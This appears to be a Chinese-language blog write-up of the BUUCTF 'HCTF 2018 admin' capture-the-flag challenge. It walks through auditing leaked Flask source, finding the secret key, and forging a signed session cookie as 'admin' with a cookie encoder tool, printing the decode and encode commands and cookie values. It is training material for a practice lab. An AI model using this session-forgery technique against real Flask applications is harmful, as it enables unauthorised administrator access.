BUUCTF [HCTF 2018]admin 1

BUUCTF [HCTF 2018]admin 1

BUUCTF [HCTF 2018]admin 1_第1张图片进去后是这样,右上角有注册登录。看看主页源码。
BUUCTF [HCTF 2018]admin 1_第2张图片

看来如果是admin(管理员)会有东西不同。
随便注册一个账号,登录(注册登录的源码都看看,所有的页面源码都要看!找提示,甚至一行一行代码看)。
在改密码界面看到:
BUUCTF [HCTF 2018]admin 1_第3张图片
输网址,下载。
BUUCTF [HCTF 2018]admin 1_第4张图片
用pycharm或其他打开,审计代码。先看路由(route)
BUUCTF [HCTF 2018]admin 1_第5张图片
BUUCTF [HCTF 2018]admin 1_第6张图片
没什么特别的,就其他都看看。最后在templates目录下的index.html找到
BUUCTF [HCTF 2018]admin 1_第7张图片
如果session等于admin就出hctf{},即flag。
而提示flask就有用了,flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。
去下载flask编码解码器
安装,用法在readme。
简单来说,去到它的目录下,可以看到setup.py
BUUCTF [HCTF 2018]admin 1_第8张图片
win+r输入cmd,cd到该目录,输入以下语句安装。安装成功后可以用pip list确认清单是否有flask相关。

python setup.py install

用法:输入py3 flask3.py decode -h显示decode帮助-s “…” (secret key)-c “…” (session ckkie value)可以不加引号,最好加。

secret key在config.py
BUUCTF [HCTF 2018]admin 1_第9张图片session ckkie value在随便一个页面存储的cookie里
在这里插入图片描述解码:

py3 flask3.py decode -s ckj123 -c ".eJw9kEFvgkAQRv9KM2cOsOiFxAPNAjHpDMEskt2LsYqWXdY2oKms8b93tYmHOb3k5Xtzg81haMcvSM7DpQ1g0-0hucHbJyQghWFUKKsKOZdNNSOODt3Okcs7cnWorL9i3VMjIxR4RWd-PZ9IKyOZsiSyWIl6pkTek-it4mlEeneVrvaOdCK-0kqQKT2Xet1hgyHxY0QMJxSky2LVo3u3VCBTnAzpNPSOGLXfoh88m5dNxmSTLeAewG4cDpvzt2lPrwTF884H9ChyI20Vkt5bYtUkxSPBOOJ1XPJeo669aunVy5iOi6eus9tj-zJh_fNB6T85ba0HELEYAriM7fD8GkQh3P8AhlRrKA.YAFz_w.drvVUPQMecMpeOp54B9BuvgM--8"

在这里插入图片描述

把name后面的你登录的用户名改为admin再加密:

py3 flask3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'a964ffdf9ad843337371b754fe4dee5f513139037266dcff517e58e1e59fd05671c5370244ce3d91eb5b1c44857c213c8de30f4c6d3d604d0724863c8a99a6aa', 'csrf_token': b'd1bffe11dbd467f7d2a1b79345789c2599b72276', 'image': b'1JK4', 'name': 'admin', 'user_id': '10'}"

在这里插入图片描述
把加密后的session输回去然后返回index主页就可以看到flag
BUUCTF [HCTF 2018]admin 1_第10张图片
还有两种解法我这个水平还无法理解,想看可以去一题三解之2018HCTF&admin

你可能感兴趣的:(ctf,buuctf,刷题日记)